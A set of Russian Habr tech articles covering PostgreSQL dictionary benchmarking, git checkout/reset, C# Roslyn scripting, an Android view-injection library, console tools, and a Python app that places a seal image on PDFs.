Доступ к словарю у нас происходит по-прежнему однократно, но **издержки на json-[де]сериализацию достаточно велики**, поэтому таким способом разумно пользоваться только в некоторых случаях, когда «честный» CTE Scan показывает себя хуже.
Тестируем производительность
----------------------------
Итак, мы получили два способа сериализации данных в словарь — **hstore / json\_object**. Помимо этого, сами массивы ключей и значений можно породить тоже двумя способами, с внутренним или внешним преобразованием к тексту: **array\_agg(i::text) / array\_agg(i)::text[]**.
Проверим эффективность разных видов сериализации на сугубо синтетическом примере — **сериализуем разное количество ключей**:
```
WITH dict AS (
SELECT
hstore(
array_agg(i::text)
, array_agg(i::text)
)
FROM
generate_series(1, ...) i
)
TABLE dict;
```
**Оценочный скрипт : сериализация**
```
WITH T AS (
SELECT
*
, (
SELECT
regexp_replace(ea[array_length(ea, 1)], '^Execution Time: (\d+\.\d+) ms$', '\1')::real et
FROM
(
SELECT
array_agg(el) ea
FROM
dblink('port= ' || current_setting('port') || ' dbname=' || current_database(), $$
explain analyze
WITH dict AS (
SELECT
hstore(
array_agg(i::text)
, array_agg(i::text)
)
FROM
generate_series(1, $$ || (1 << v) || $$) i
)
TABLE dict
$$) T(el text)
) T
) et
FROM
generate_series(0, 19) v
, LATERAL generate_series(1, 7) i
ORDER BY
1, 2
)
SELECT
v
, avg(et)::numeric(32,3)
FROM
T
GROUP BY
1
ORDER BY
1;
```
На PostgreSQL 11 примерно до размера словаря в 2^12 ключей **сериализация в json требует меньше времени**. При этом наиболее эффективной является комбинация json\_object и «внутреннего» преобразования типов `array_agg(i::text)`.
Теперь давайте попробуем прочитать значение каждого ключа по 8 раз — ведь если к словарю не обращаться, то зачем он нужен?
**Оценочный скрипт : чтение из словаря**
```
WITH T AS (
SELECT
*
, (
SELECT
regexp_replace(ea[array_length(ea, 1)], '^Execution Time: (\d+\.\d+) ms$', '\1')::real et
FROM
(
SELECT
array_agg(el) ea
FROM
dblink('port= ' || current_setting('port') || ' dbname=' || current_database(), $$
explain analyze
WITH dict AS (
SELECT
json_object(
array_agg(i::text)
, array_agg(i::text)
)
FROM
generate_series(1, $$ || (1 << v) || $$) i
)
SELECT
(TABLE dict) -> (i % ($$ || (1 << v) || $$) + 1)::text
FROM
generate_series(1, $$ || (1 << (v + 3)) || $$) i
$$) T(el text)
) T
) et
FROM
generate_series(0, 19) v
, LATERAL generate_series(1, 7) i
ORDER BY
1, 2
)
SELECT
v
, avg(et)::numeric(32,3)
FROM
T
GROUP BY
1
ORDER BY
1;
```
И… уже примерно **при 2^6 ключей чтение из json-словаря начинает кратно проигрывать** чтению из hstore, для jsonb то же самое происходит при 2^9.
> Итоговые выводы:
>
>
>
> * если надо сделать **JOIN с многократно повторяющимися записями** — лучше использовать «ословаривание» таблицы
> * если ваш словарь ожидаемо **маленький и читать вы из него будете немного** — можно использовать json[b]
> * во всех остальных случаях **hstore + array\_agg(i::text)** будет эффективнее
> | https://habr.com/ru/post/485398/ | null | ru | null |
# Машина времени в git
В последнее время мои коллеги начинают знакомство с git'ом. И один из интересующих их вопросов — как откатиться до определённой ревизии. В интернете можно найти набор команд, но хочется, чтобы было понимание каждой из них. Баловство с комадами git'а без понимания может привести к потере истории разработки.
В этой статье я хочу рассказать о командах `git checkout` и `git reset` с ключами `--soft` и `--hard`.
Итак, начнём краткий ликбез по машине времени, предоставляемой git'ом. Сперва проиллюстрируем историю:
Здесь кружочками обозначены коммиты. Чем правее коммит, тем он новее. Коммит с хэшем 6e04e..-это самый первый коммит. Одно из основных понятий, которое стоит уяснить себе новичку, — это указатели на коммиты, а точнее некоторое «прозвище» того или иного коммита. Их тьма тьмущая, например: *HEAD, master, FETCH\_HEAD, ORIG\_HEAD* и т.д. Это я перечислил крупицу стандартных прозвищ. Их можно создавать и самим, но об этом впереди.
Заострим наше внимание на двух указателях: *master* и *HEAD*. *master* указывает на самый старший коммит в ветке под названием *master* (эта ветка создаётся при инициализации репозитория). *HEAD* указывает на указатель master (читай, текущее состояние файлов). После появления первого коммита в репозитории, *HEAD* и *master* указывают на один и тот же коммит. И так будет продолжать до тех пор, пока не переключимся на другую ветку, не откатимся по истории, либо не совершим ряд необдуманных действий. Итак, проиллюстрируем нашу историю с указателями:
Указатель *HEAD* в нашем случае указывает на *master*, а *master* — на коммит d79fb… Архиважно понять, что текущее состояние неизменённых файлов, находящихся под контролем версий, есть тот коммит, на который указывает *HEAD*. То есть, если *HEAD* будет указывать на коммит с хэшем 6e04e.., то файлы окажутся в первоначальном своём состоянии. Для «движения» указателя *HEAD* существует команда: git checkout . Те, кто знаком хоть чуть-чуть с git'ом, узнали в этой команде переключение на другую ветку. Всё совершенно верно — при переключении на другую ветку мы просто переносим указатель *HEAD* на последний коммит ветки.
#### Перенос указателя HEAD (`git checkout`)
Откат по истории коммитов:
После завершения операции checkout мы будем находиться в состоянии, в котором были два коммита назад. Это всё прекрасно — мы сделали шажок в прошлое, что-то там подглядели, но как вернуться назад? Я вот, например, не обладаю сверхпамятью, и не помню хэш самого последнего коммита (тот, который самый правый — d79fb..). Если написать `git log`, то увидим историю, состоящую из трёх коммитов:
```
[user@localhost project]$ git log --pretty=oneline
6741a69bd121c295413be95d7597cd7409e713a0 add unit test
b3e74f50c3cc48e6b335014b6dc7e301b382a903 add readme
6e04e39d0952a2d6022502d56aaa05d5a064bea Initial commit
```
Неужели мы потеряли всю историю? Как узнать самый «новый» коммит? Это не проблема — есть выход, и их несколько:
1. Написать команду `git log --all`. Данная команда напечатает нам всю историю, вплоть до современности, т.е. в нашем случае историю из пяти коммитов:
```
[user@localhost project]$ git log --pretty=oneline --all
d79fb5688af71b4577f450919535e7177e9d74e8 fix bug
478927e3a088d3cec489ca8810eaaca97c6ce0ff documentation
6741a69bd121c295413be95d7597cd7409e713a0 add unit test
b3e74f50c3cc48e6b335014b6dc7e301b382a903 add readme
6e04ee39d0952a2d6022502d56aaa05d5a064bea Initial commit
```
Далее остаётся скопировать нужный нам хэш и вновь запустить машину времени: `git checkout`. Но данный способ не рекомендую, так как он требует слишком много действий.
2. Git позволяет отслеживать все изменения указателя *HEAD*. Это возможно командой `git reflog`, но это уже не для новичков и используется не для поставленных нами целей. Самое грамотное — это поступить следующим образом:
3. Вспомнить, что указатель master указывает на самый свеженький коммит. Таким образом, возврат в исходное состояние выполняется одной командой: `git checkout master`. Вуа-ля:
Для прояснения механизма `git checkout` создадим новую ветку devel:
```
[user@localhost project]$ git checkout -b devel
```
\*флаг -b означает, что необходимо создать ветку с указанным именем и сразу переключится на неё.
Проиллюстрируем совершённое нами действие:
Заметим, что указатель *HEAD* указывает на вершину ветки *devel*.
Породим в новой ветке несколько коммитов. История репозитория будет выглядеть следующим образом:
Возвращение в ветку master происходит также безболезненно:
```
[user@localhost project]$ git checkout master
```
Итак, запоминаем первый пункт:
* Комнда git checkout передвигает указатель *HEAD*
#### Перенос указателя на вершину ветки (`git reset ...`)
Кроме того, git позволяет двигать не только *HEAD*, но и континеты указатели на вершины веток. Для этого существует команда `git reset` с ключами либо `--soft`, либо `--hard`.
* Ключ `--hard` означает, что мы теряем текущее состояние файлов и приобретаем состояние того коммита, куда был сделан reset.
* Ключ `--soft` означает, что мы НЕ теряем текущее состояние проекта, но указатель на текущую ветку уже передвинут, т.е. git status нам выдаст разницу между текущим состоянием проекта (от которого мы сделали reset) и тем, на который мы сделали reset.
В обоих случаях появляется «прозвище» для коммита, с которого был совершён reset — *ORIG\_HEAD*.
`git reset --hard HEAD~2`:
`git reset --soft HEAD~2`:
*ORIG\_HEAD* полезен для редактирования неверных коммитов на локальной машине (!). Предположим, что мы хотим объединить два последних коммита в единый. Для этого, сохраняя текущее состояние файлов, переводим указатель master на два коммита назад:
```
[user@localhost project]$ git reset --soft HEAD~2
```
Посмотрим на изменения:
```
[user@localhost project]$ git status
# On branch master
# Changes to be committed:
# (use "git reset HEAD ..." to unstage)
#
# ЧТО-ТО ТАМ ДЛЯ КОММИТА
#
```
Ну а теперь сделаем трюк — объединяем коммиты
```
[user@localhost project]$ git commit -c ORIG_HEAD
```
Вводим сообщение, сохраняемся. Теперь наша история выглядит вот так:
Важное замечание — *ORIG\_HEAD* по-прежнему указывает на коммит d79fb… Если мы сейчас выполним команду git checkout *ORIG\_HEAD*, то мы получим так называемое состояние detach *HEAD*. Оно характеризуется тем, что *HEAD* указывает не на вершину ветки, а просто на коммит. *HEAD* всегда должен указывать только на вершину какой-либо ветки!
Чтобы «выйти» из состояния detach *HEAD* достаточно просто переключиться на какую-либо ветку или создать новую ветку командой `git checkout -b new_branch_name`
Итак, запоминаем второй пункт:
* `git reset` с ключами `--soft` или `--hard` двигает указатель на вершину ветки, а вместе с ним и указатель *HEAD*.
И самое главное! Самая частая операция из вышеперечисленных при работе с git`ом — это переключение между ветками. Все остальные рассмотренные случаи встречаются редко, но тем не менее необходимо понимать всё, что происходит при их использовании!
Удачных вам путешествий по истории своего репозитория!
При подготовке материала использовались следующие источники:
Самый лучший manual — книга: [ProGit](http://git-scm.com/book)
Наглядная справка по git: [A Visual Git Reference](http://marklodato.github.com/visual-git-guide/index-en.html) ([Русская версия](http://marklodato.github.com/visual-git-guide/index-ru.html))
UPD:
В комментариях посоветовали ещё один полезный ресурс по git`у: [githowto](http://githowto.com/ru)
P.S. Благодарю за инвайт и всем желаю приятных выходных! | https://habr.com/ru/post/157175/ | null | ru | null |
# Скриптинг в C# или динамическое выполнение в runtime
Привет, Хабр!
Думаю, немногие знают, что в C# есть штука наподобие eval из других языков. Благодаря Roslyn API, можно во время выполнения скомпилировать и выполнить код на C#. Пример использования Вы можете посмотреть в [моей реализации](https://github.com/Fantoom/CSharpREPL) [REPL](https://ru.wikipedia.org/wiki/REPL)-а для C#.
Впервые с такой штукой, как REPL, я познакомился, когда трогал питона. В мире .NET есть похожая вещь под названием C# Interactive (CSI). Довольно удобная штука, однако у нее есть один большой минус — она входит в состав инструментов Visual Studio, так что без установки VS, не получится ее использовать, а чтобы запускать ее без запуска VS, и вовсе надо лезть в ее недра (а точнее, через консоль запустить C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat), что может не быть достаточно удобным решением.
Есть еще такие проекты, как [dotnet-script](https://github.com/filipw/dotnet-script) и [cs-script](https://www.cs-script.net/) (они работают через [Microsoft.CodeAnalysis.CSharp.Scripting](https://www.nuget.org/packages/Microsoft.CodeAnalysis.CSharp.Scripting)), но у них есть фатальный недостаток — они написаны не мной. Вот и появилась мысль написать свой корявый велосипед, но со своими фичами (которые тоже коряво работают)!. После недолгих поисков, мой взор упал на сие чудо: [Microsoft.CodeAnalysis.CSharp.Scripting](https://www.nuget.org/packages/Microsoft.CodeAnalysis.CSharp.Scripting). Из плюсов — удобный API, возможность выполнять код без классов и namespace-ов.
Для начала, нужно поставить нугет пакет [Microsoft.CodeAnalysis.CSharp.Scripting](https://www.nuget.org/packages/Microsoft.CodeAnalysis.CSharp.Scripting) и сделать using
```
using Microsoft.CodeAnalysis.CSharp.Scripting;
using Microsoft.CodeAnalysis.Scripting;
```
CSharpScript - статичный класс, который поможет нам создать скрипт, включает 3 метода:
* Create - создает Script с указанным кодом и параметрами, который можно будет в последствии скомпилировать и запустить
* RunAsync - который компилирует, выполняет переданный код и возвращает ScriptState
* EvaluateAsync - выполняет код и возвращает результат выполнения
CSharpScript.Create можно использовать, когда вам нужно предварительно скомпилировать скрипт и часто вызывать его.
```
var script = CSharpScript.Create("System.Console.WriteLine(\"Hello from script\")");
script.Compile();
await script.RunAsync();
```
Eсли не вызвать Compile(), то код будет скомпилирован при первом вызове.
Для удобства можно создать ScriptOptions, в котором можно будет добавить namespace-ы и reference-ы (можно также добавить статические классы, на подобии using static).
```
var options = ScriptOptions.Default
.AddImports("System", "System.IO", "System.Collections.Generic",
"System.Console", "System.Diagnostics", "System.Dynamic",
"System.Linq", "System.Text",
"System.Threading.Tasks")
.AddReferences("System", "System.Core", "Microsoft.CSharp");
CSharpScript.Create("Console.WriteLine(\"Hello from script\")", options);
```
Но здесь есть один момент — ScriptOptions почему-то не ограничивают доступные namespace-ы. Этакий whitelist, как я изначально подумал, возможно, просто не до конца разобрался.
CSharpScript.RunAsync возвращает ScriptState, его можно дополнить вызвав ContinueWithAsync, который скомпилирует, выполнит код и вернет новый объект ScriptState. Можно повторно запустить скрипт, обратившись к свойству Script. Для получения результата, есть свойство ReturnValue.
```
ScriptState state = await CSharpScript.RunAsync("int x = 5;");
state = await state.ContinueWithAsync("x + 1");
Console.WriteLine(state.ReturnValue); // 6
```
У объекта state можно посмотреть объявленные переменные, а так же полученный exception
```
foreach(var variable in state.Variables)
{
Console.WriteLine($"{variable.Name} - {variable.Value}");
}
```
С помощью CSharpScript.Create можно создать делегат из скрипта, который будет запускать скрипт при вызове
```
var script = CSharpScript.Create>("x => x+1");
Console.WriteLine(await script.CreateDelegate().Invoke(1)); // 2
```
А так же, можно скомпилировать лямбда-выражение в виде строки, используя CSharpScript.EvaluateAsync (или другими способами, которые были выше)
```
var deleg = await CSharpScript.EvaluateAsync>("x => x \* 2");
Console.WriteLine(deleg(5)); // 10
```
Это может быть удобно для сериализации и десериализации лямбда-выражений (мой скудный ум не смог придумать юзкейса для этого, но я встречал людей, которым такая штука была нужна).
У методов CSharpScript есть параметры globals и globalsType (globalsType можно не указывать, оно возьмет тип у globals), с помощью которого можно указать объект, члены которого будут глобально доступны (У CSharpScript.Create можно только указать globalsType, и в script.RunAsync() передать globals).
```
var res = await CSharpScript.EvaluateAsync("X+Y", globals: new GlobalValues());
Console.WriteLine(res); // 100
public class GlobalValues
{
public int X = 25;
public int Y = 75;
}
```
Ниже представлены тесты:
Не думаю, что они очень точны, но помогут примерно понять скорость выполнения. С кодом можете ознакомится по [ссылке](https://pastebin.com/KKSVh7ce).
Заключение
----------
[Microsoft.CodeAnalysis.CSharp.Scripting](https://www.nuget.org/packages/Microsoft.CodeAnalysis.CSharp.Scripting), довольно удобная шутка, для runtime выполнения C# кода. Можно использовать например в своем движке, или для предоставления способа модификации, без надобности создания .net проекта и его сборки.
Топ 5 популярных реп в github, которые используют данный пакет:
Дополнительные примеры можно найти по ссылкам внизу:
<https://github.com/dotnet/roslyn/blob/main/docs/wiki/Scripting-API-Samples.md>
<https://github.com/dotnet/roslyn/tree/a7319e2bc8cac34c34527031e6204d383d29d4ab/src/Scripting>
Надеюсь, моя первая статья не показалось слишком скучной, и я смог как-то вам помочь.
Хорошего вам дня! | https://habr.com/ru/post/553310/ | null | ru | null |
# Knork: простейшая альтернатива ButterKnife в 160 строк кода
Хабрапривет!
Ниже речь пойдет о view injection, костылестроении, аннотациях, рефлексии, о жалкой попытке превзойти Джейка Уортона и о том, что свой велосипед ближе к телу.
Что же такое view injection? Это способ избежать вот такого рутинного кода:
```
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// ...
}
});
```
Если использовать view injection с помощью, скажем, [ButterKnife](http://jakewharton.github.io/butterknife/), написанного Джейком Уортоном (Jake Wharton), то код становится прозрачнее:
```
@InjectView(R.id.button) Button mButton;
@OnClick(R.id.button)
public void onButtonClick() {
// ...
}
```
Но при ближайшем рассмотрении оказывается, что и ButterKnife не идеален.
Во-первых, он генерирует вспомогательные классы на этапе компиляции, и многие IDE и билд-системы иногда сходят с ума (компилируют классы не в том порядке). Хотя конечно по замыслу это позволяет черной магии не ухудшать производительность кода.
Во-вторых, он не совсем правильно отменяет view injection — вьюхи он обнуляет, а вот назначенные им коллбэки — нет. При неосторожном использовании это может привести к утечкам памяти и другим ошибкам (например, если в адаптере делать повторные инжекты).
В-третьих, очень непросто (если вообще возможно) добавить свой собственный биндинг, скажем, для привязки метода к View.OnKeyListener.
И, наконец, очень уж нетривиально устроено подключение его к старой Ant-based билд-системе. А ведь многие проекты до сих пор еще не перешли на Gradle.
Поэтому я подумал — а не сделать ли свой собственный ButterKnife со всеми вытекающими? Так вот и получилась незамысловатая библиотечка Knork (тоже столовый прибор, [knife + fork](http://en.wikipedia.org/wiki/Knork)). Из ключевых особенностей библиотеки — простота и малый размер.
#### Упрощение 1. Динамическая обработка аннотаций в рантайме
«Но это же ужасно!» — скажете вы, и будете совершенно правы. Это действительно медленно, но в конце статьи я приведу небольшой бенчмарк, и не все так плохо как кажется в плане скорости. Зато этот маленький ужас избавит нас от кодогенерации, от ошибок билд процесса и т.д. А еще позволит расширять библиотеку по своим нуждам.
#### Упрощение 2. Всего две аннотации
Мы ограничимся всего двумя аннотациями, которые легко запомнить:
Id — аннотация перед полем класса, нужна для инжекта виджетов.
On — аннотация перед методом, нужна для инжекта различных Listener-ов.
Но как нам передать в @On() идентификатор виджета, да еще и действие, на которое нужно привязать аннотируемый метод? Мы же знаем, что у аннотации может быть только один безымянный value, а для большего числа параметров нужно будет давать имена, т.е.:
```
@On(R.id.button)
// Однако:
@On(value=R.id.button, action=CLICK)
```
На помощь приходят старые навыки embedded-разработки и непроходящая любовь к ~~уродливым~~ нетривиальным решениям. Нам известно, что ID может быть целым числом в диапазоне 0x7f000000..0xffffffff. А в аннотациях можно использовать 64-битный long. Это дает нам свободные старшие 32 бита для личных нужд. Там и будем хранить номер события с которым нужно связать метод. Например:
```
@Id(R.id.button) mButton;
// Арифметическое сложение
@On(CLICK + R.id.button)
public void onButtonClick(Button b) {
// ...
}
// Побитовое сложение тоже сойдет
@On(LONGCLICK | R.id.button)
public boolean onButtonLongClick(Button b) {
// ...
}
```
На мой скромный взгляд читабельность такого кода не многим хуже чем вышеупомянутые аннотации с параметрами.
#### Упрощение 3. Гибкие классы-инжекторы
Получается что наш основной класс Knork, занимающийся инжектом, будет пробегаться по объекту, искать аннотации и для каждой аннотации On будет находить соответствующий инжектор и делегировать ему управление. Значит разработчик сможет добавлять и свои собственные инжекторы в прямо в процессе работы программы. Инжекторы будут отвечать за привязку метода к виджету, а также за удаление созданных listener-ов.Никаких утечек.
#### Общая картина
Весь код оказался в рамках одного класса Knork, так что для подключения нужно будет всего лишь написать:
```
import static trikita.knork.Knork.*;
```
Это идеологически не совсем правильно, но поскольку наш класс будет всего на полторы сотни строк — я надеюсь вы простите такой подход.
Итак, в классе Knork будет примерно следующее:
```
class Knork {
// Инжект вьюх в определенный объект
public static void inject(Object obj, View v) { ... }
// Отмена инжекта
public static void reset(Object obj) { ... }
// Регистрация кастомного инжектора
public static void registerInjector(long action, Injector injector) { ... }
// Интерфейс инжекторов
public static interface Injector {
void inject(View v, Invoker invoker); // Invoker - небольшая обертка над method.invoke()
void reset(View v);
}
// Стандартные коды действий и классы-инжекторы
public final static long CLICK = 1L << 32;
public static class ClickInjector implements Injector {
public void inject(View v, final Invoker invoker) {
v.setOnClickListener(new View.OnClickListener() {
public void onClick(View view) {
invoker.invoke(view);
}
});
}
public void reset(View v) {
v.setOnClickListener(null);
}
}
public final static long LONGCLICK = 2L << 32;
public static class LongClickInjector implements Injector { ... }
// Аннотации
public static @interface Id { int value(); }
public static @interface On { long value(); }
// Инициализация стандартных инжекторов
static {
registerInjector(CLICK, new ClickInjector());
registerInjector(LONGCLICK, new LongClickInjector());
}
}
```
Пока стандартных инжекторов только три — один выполняет метод по окончании инжекта (позволяет настроить виджет по вкусу, например для группы TextView назначить шрифт), два остальных инжектора делают обработку onClick и onLongClick соответственно. Но добавление остальных инжекторов (OnTouch, OnBeforeTextChanged, OnItemClick, ...) — это дело техники.
Полностью код класса Knork можно увидеть [здесь](https://bitbucket.org/trikita/knork/src/277ea86f4d407d557b2c636399a8d611d805bece/library/src/main/java/trikita/knork/Knork.java?at=default).
Реализация inject() и reset() довольно тривиальная — первый метод перебирает аннотированные поля и методы через рефлексию и запоминает список внедренных виджетов и методов, второй пробегается по этим спискам и просит инжекторы отвязать соответствующие методы.
#### Цена успеха. Бенчмарки
Я набросал простенький пример, который заодно служит и бенчмарком. Вот результаты «холодного» старта на среднем телефоне полуторагодичной давности и на нексусе:
**Обычный тормозной телефон**
**Nexus 5**
В первом и втором бенчмарках я выполнял performClick() и callOnClick() на определенной (невидимой) кнопке. Странно, но потери от method.invoke() по сравнению с прямым вызовом метода оказались меньше чем я ожидал (я думал в десятки-сотни раз)
В третьем бенчмарке я инжектил вьюхи, удалял, инжектил повторно и так далее. Knork в этом случае действительно в 10..100 раз медленнее по сравнению с ButterKnife и обычной реализацией вручную. Хотя не стоит забывать, что ButterKnife не удаляет listener'ы во время резета, читер эдакий. Здесь есть куда копать — можно запоминать найденные поля и методы в кэше чтобы не использовать рефлексию повторно, это даст большой выигрыш в адаптерах. Кроме того можно посмотреть на ускорение поиска аннотаций, как это делают в ORMLite и других библиотеках.
Но все равно в итоге мы понимаем, что Knork не быстрый. Казалось бы, самое время мне признать поражение, однако в абсолютных цифрах на инжекты вьюх и на обработчики событий сейчас в Knork обычно тратится до 10 миллисекунд. Лично меня подобная задержка при открытии какого-нибудь фрагмента устраивает, так что я все равно попробую использовать Knork в своих проектах.
Дальнейшее развитие у проекта вполне предсказуемо — добавить больше инжекторов, добавить поддержку списков в аннотацию On (как в ButterKnife, чтобы не писать несколько аннотаций), добавить тесты, возможно добавить кэш методов чтобы ускорить инжект. Может быть добавлю библиотеку в какой-нибудь AAR-репозиторий, но пока что я непроходимо темный в этой области и не разобрался как это правильно делать в Gradle (может кто поможет?).
Ну вот собственно и все. Исходники библиотеки и примера/бенчмарка — [bitbucket.org/trikita/knork](https://bitbucket.org/trikita/knork). Лицензия — MIT. | https://habr.com/ru/post/230857/ | null | ru | null |
# Красота в консоли
Если верить статистике MacOS,то топовые приложения которые я использую для работы это Chrome, VS Code, iTerm и VK Teams. При этом в консоли я провожу от часа до трех ежедневно. На самом деле это время больше, потому что часть того что трекается как VS Code тоже является временем работы в консоли, только встроенной в VS Code. Поэтому консоль хочется сделать удобнее и красивее. Особенно этой поздней осенью. Этими красивостями и удобностями и хочется поделиться. И не просто поделится, а что бы с красивыми картинками, некоторые из которых были бы не совсем статичны. Ну или совсем не статичны. Это как кому нравится.
Zsh / Oh My Zsh / powerlevel10k
-------------------------------
[Zsh](https://www.zsh.org/) / [Oh My Zsh](https://ohmyz.sh/) / [powerlevel10k](https://github.com/romkatv/powerlevel10k)
Небольшой пример работы этой связки с пояснениями и картинкой
1. Набираем команду cd и плагин <https://github.com/zsh-users/zsh-autosuggestions> сразу предлагает нам серым подсказку из истории командной строки (без всяких нажатий Ctrl + r, хочется это особо отметить), жмем стрелочку вправо и enter и переходим в каталог.
2. Тема понимает что мы в гит бранче выписанной с gitlab и меняет значок на githlab и так же показывает бранчу в которой мы сейчас находимся
3. Экспортируем конфиг доступа к кластеру k8s и тема начинает справа показывать имя этого кластера. Показало бы еще и namespace если мы были не в default.
4. Пытаемся посмотреть несуществующий каталог и зеленая галочка справа меняется на крестик на красном поле с цифрой кода выхода программы
5. Эмулируем долгое выполнение команды через sleep 10 c включенной настройкой *command\_execution\_time* в **powerlevel10k.** После выполнения команды появляется еще одно поле, с песочными часиками, которое показывает время выполнения этой самой команды
Вообще в ~/.p10k.zsh можно очень много всего включить, советую почитать на предмет интересующих опций прямо в нем. Например там можно:
* показывать текущее окружение python venv, anaconda, node, ruby, etc
* показывать текущий кластер и контекст k8s
* показывать текущий профиль AWS / Google Cloud / Azure
* показывать ip, место на диске, загрузку cpu, статус батарейки, скорость wifi
и это далеко не полный список
Ripgrep
-------
<https://github.com/BurntSushi/ripgrep>
* Очень очень [быстрая](https://blog.burntsushi.net/ripgrep/) замена grep
* Игнорит то что указано в .gitignore/.ignore/.rcignore
* Может искать только в файлах с нужными расширениями, например yaml - `rg 'something' -tyaml`
* Полная поддержка Unicode включая emoji. Да, можно искать 🤖
* Может искать в gz, bzip2 с ключoм -z
Выведете свой поиск в огромных \*.csv.gz утечек на новый уровень :)
TLDR
----
[TLDR](https://tldr.sh/) (англ. *too long; didn't read* — слишком длинно, не читал)
Все знают man, странички там подробные, но часто нудные и большие при этом с небольшим количеством примеров. TLDR для таких ленивцев как я, которые не помнят и не хотят помнить все ключи команд наизусть, и которым лень читать длинный man что бы составить нужную последовательность ключей и параметров. TLDR помогает таким ленивцем и остаться, концентрируясь на самых частых примерах. Как пример ls
#### ngrok
<https://ngrok.com/>
Вот допустим, вам хочется показать кому-то в интернете какую-то локально собранную веб приложуху, допустим работает она на 3456 порту. А вот возится с ее деплоем куда-то что-то вот совсем не хочется. Ибо вы ленивец как и я. И тут спасает ngrok.
1. `brew cask install ngrok`
2. Регаемся на сайте (можно под гитхаб аккаунтом)
3. Копируем токен с сайта (там прям дана команда которую локально и запускаем)
4. Запускаем `ngrok http 3456`
5. Получаем в консоле урл типа *https://234d-134-397-21-892.eu.ngrok.io* зайдя на который увидим то что там работает у вас на 3456 порту локально. Увидим, конечно, не только мы, а все у кого это урл есть.
6. Можно так же пошарить и директорию со статическими страничками сделанными, например, через <https://gohugo.io/>. Это не просто, а очень просто. Примерно вот так `ngrok http file:///tmp/username.github.io/public`
pbcopy (mac) / xclip (linux)
----------------------------
Позволяет скопировать в буфер обмена все выведенное в консоли без этого нудного возякания мышкой по экрану прямо в консоли через pipe. Например `echo -n something | pbcopy`
FZF
---
<https://github.com/junegunn/fzf>
Чудесный консольный интерактивный поисковик, для zsh есть [отдельный плагин](https://github.com/unixorn/fzf-zsh-plugin) для него. Ставим через `brew install fzf && /usr/local/opt/fzf/install`, так же устанавливаем плагин, рестартуем zsh и после этого мы можем
* запускать fzf прям в каталоге и искать файлы интерактивно, выглядит это вот так
* можем искать c помощью fzf в истории шела по Ctrl+r
* встраивать такой поиск в pipe, например `git log --pretty=format:"%an <%ae>" | sort | uniq | fzf | pbcopy`
EXA
---
<https://the.exa.website/>, модная замена ls. Наверняка ls можно законфигурить чтобы он выводил так же красиво, но настоящие ленивцы - автоматизаторы делают `brew install exa` и наслаждаются красотой и удобством "из коропки"
BAT
---
Нет, это не почтовый клиент (а ты старый !). Нет, windows тут совсем не причем :) Это замена cat с примесью more. Ну ладно, уговорили, это замена less. Делаем `brew install bat` и красоты становится еще больше. Наверняка вы знает как выглядит работа cat, поэтому показывать ее не буду, дабы не наводить тоску, а вот скриншот bat - c удовольствием
GRC
---
Все это красиво и хорошо, но хочется больше красоты и там где она не предусмотрена архитектурно. Ну вот например скучный и серый вывод ping. И так осень, а тут еще в него смотри, так и депрессию можно хватануть. Но выход есть ! (но не тот что вы подумали). `brew install grc` и вывод ping играет новыми красками
и так можно делать со многим, например `grc tail file.log` или `grc ip add`. Но не со всем, например `grc curl` будет все так же уныл.
#### HTTPIE
То что `grc curl` не работает вы уже в курсе, если все внимательно читали. И, конечно же спасибо тому кто это написал двумя строчками выше. Но это не повод грустить, делай `brew install httpie` и снова в консоли веселее чем за окном. Только не пишите мне в коментах что у вас за окном море, солнце и +20. Я вас буду немножечко ненавидеть.
TIG
---
Ну и напоследок `brew install tig`. Удобная тулза чтобы глубоко нырять в удивительный мир git log. Не ныряние в море конечно, но тоже иногда прикольно и познавательно.
Всем добра и автоматизации! | https://habr.com/ru/post/699998/ | null | ru | null |
# Вставить подпись в pdf или как спасти деревья
В век перехода к цифровому документообороту появляются курьёзные случаи когда цифровизация вроде есть, а вроде и нет. Одним из таких случаев оказалась ситуация, когда сотрудники распечатывали договор, присланный на электронную почту, ставили на распечатке факсимиле или печать, затем сканировали и отправляли обратно.
Исправить данное недоразумение, мне представляется возможным двумя путями: переходом на цифровые подписи, что потребует изменений в ведении документооборота у обоих сторон, либо программной вставкой изображения печати. Ввиду невозможности влиять на документооборот клиентов пришлось использовать второй путь, программной вставки изображения в документ.
Существует множество программ для работы с pdf, но вставка изображений в них либо платная, либо лимитированная. Текущая же задача требует безлимитной возможности редактирования документов и максимально простого интерфейса, чтобы программой мог сходу пользоваться любой человек без какого-либо обучения.
Таким образом я решил написать свое приложение для вставки изображений в pdf, отвечающего всем указанным выше требованиям. А так-как размер приложения и скорость работы (в пределах разумного!) не являются ключевыми, мне представилось оптимальным написать приложение на python после чего завернуть его в исполняемый файл.
Итак, приложение. Для создания графического интерфейса использовался модуль tkinter, так-как он осваивается "на лету", а внешний вид приложения был пожертвован в угоду скорости разработки. Таким образом получилось нечто такое:
Окно состоит всего из двух основных элементов: меню с кнопками и холста на котором будет размещено изображение документа. Так-как холст не может отображать pdf, для начала документ необходимо конвертировать в объект изображения. Для этих целей удобно использовать обертку над библиотекой poppler - pdf2image, которая имеет команду convert\_from\_path получающая путь к pdf файлу и возвращающая объект изображения. Далее, для удобства использования, изображение сжимается для размера холста (я выбрал размер 768\*768 пикселей) по формуле коэф. масштабирования = размер холста / max(длина изображения, ширина изображения). После чего на холст добавляется изображение печати, которое можно перетаскивать по холсту. Таким образом получилось следующая картина:
Теперь переходим к сохранению готового документа. Изначально была идея просто вставить картинку в исходный pdf файл и для этих целей был найден модуль reportlab, но в ходе экспериментов с ним выяснилось, что pdf файлы имеют несколько иную координатную сетку, начинающуюся с левого нижнего угла, но при этом, некоторые документы имели сетку с началом в левом верхнем углу. Чтобы глубоко не вникать в особенности реализации pdf файлов, было решено просто конвертировать изображение обратно в pdf, благо это умеет делать модуль PIL, который уже использовался, для масштабирования изображений ранее. В остальном сохранение происходит по следующему сценарию: берется исходное изображение (не масштабированное), с помощью функции tkinter-а 'coord' находятся текущее координаты печати, координаты умножаются на коэф. масштабирования и печать размещается на документе (функция paste класса PIL Image). Таким образом документы не теряют в качестве и ни в чем не уступают отсканированным.
